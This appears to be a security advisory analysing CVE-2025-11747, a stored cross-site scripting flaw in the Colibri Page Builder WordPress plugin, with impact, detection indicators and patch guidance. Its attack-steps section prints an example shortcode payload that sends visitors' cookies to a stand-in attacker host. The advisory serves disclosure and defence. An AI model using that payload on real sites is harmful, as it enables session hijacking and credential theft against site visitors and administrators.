CVE-2025-11747: 
WordPress vulnerability analysis and mitigation

CVE-2025-11747 is a Stored Cross-Site Scripting (XSS) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.345. The flaw exists in the colibri_blog_posts shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was disclosed on December 19, 2025, with Wordfence as the reporting CNA. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a stored XSS variant. The vulnerability resides in extend-builder/shortcodes/blog-posts.php at approximately line 251, where user-supplied shortcode attributes are rendered into page output without proper sanitization or escaping (WordPress Trac). An authenticated attacker with at minimum contributor-level access can embed malicious JavaScript within the colibri_blog_posts shortcode, which is then stored in the database and executed in the browser of any user who visits the affected page. The attack vector is network-based, requires low privileges, and no user interaction beyond page visitation is needed for the payload to execute (Wordfence).

Successful exploitation allows an attacker to inject and persistently store arbitrary JavaScript that executes in the context of any visitor's browser session on the affected WordPress site. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader browser environment of affected users, with low confidentiality and integrity impacts (Wordfence).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Colibri Page Builder plugin at version 1.0.345 or earlier, using tools like WPScan or by inspecting page source for plugin indicators.
2. Obtain contributor access: Register or compromise an account with at least contributor-level privileges on the target WordPress site.
3. Craft malicious shortcode: Create or edit a post/page using the colibri_blog_posts shortcode, injecting a malicious JavaScript payload into a vulnerable attribute, e.g., [colibri_blog_posts attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Submit or publish the page/post containing the injected shortcode, causing the payload to be stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the malicious script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing colibri_blog_posts shortcode with encoded or obfuscated script tags in the request body.
• Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_posts table within shortcode content associated with colibri_blog_posts.
• Network: Outbound requests from visitor browsers to unknown external domains shortly after loading pages containing the colibri_blog_posts shortcode, potentially carrying cookie or session data.
• File System: Modifications to extend-builder/shortcodes/blog-posts.php if an attacker has also achieved file write access; compare against the patched changeset (WordPress Changeset).

Users should update the Colibri Page Builder plugin to version 1.0.346 or later, which addresses the insufficient sanitization in the colibri_blog_posts shortcode as reflected in the official plugin changeset (WordPress Changeset). As a temporary workaround, site administrators can restrict contributor-level user registration or limit the ability of untrusted users to publish content containing shortcodes. Web application firewalls (WAFs) with XSS filtering rules can provide an additional layer of defense while patching is pending (Wordfence).

Wordfence included CVE-2025-11747 in its weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, noting it as part of a broader set of plugin vulnerabilities disclosed during that period (Wordfence Blog). Sucuri also referenced the vulnerability in its December 2025 vulnerability patch roundup (Sucuri Blog). No significant social media controversy or high-profile researcher commentary beyond standard disclosure coverage has been observed.